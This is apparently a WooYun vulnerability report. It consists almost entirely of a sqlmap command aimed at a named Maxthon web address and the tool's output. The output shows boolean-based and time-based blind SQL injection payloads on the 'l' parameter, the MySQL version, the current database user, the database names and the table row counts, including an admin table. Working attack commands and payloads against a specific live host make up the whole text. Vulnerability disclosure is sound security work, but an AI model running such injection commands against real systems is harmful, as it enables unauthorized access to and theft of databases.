WooYun.org

sqlmap.py -u "http://bp.maxthon.com/gl?l=cn&p=max4&c=zh-cn" --dbs --count -D "bind_promotion" --current-user --current-db

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: l
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: l=cn' AND 9937=9937 AND 'kIdJ'='kIdJ&p=max4&c=zh-cn
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: l=cn' AND SLEEP(5) AND 'CSpu'='CSpu&p=max4&c=zh-cn
---
back-end DBMS: MySQL 5.0.11
current user:    'bind_promotion@%'
current database:    'bind_promotion'
available databases [3]:
[*] bind_promotion
[*] information_schema
[*] test
Database: bind_promotion
+---------------+---------+
| Table         | Entries |
+---------------+---------+
| bind_record   | 18636   |
| bind_partner  | 115     |
| bind_pn       | 42      |
| bind_list     | 16      |
| bind_partner2 | 11      |
| bind_admin    | 2       |
+---------------+---------+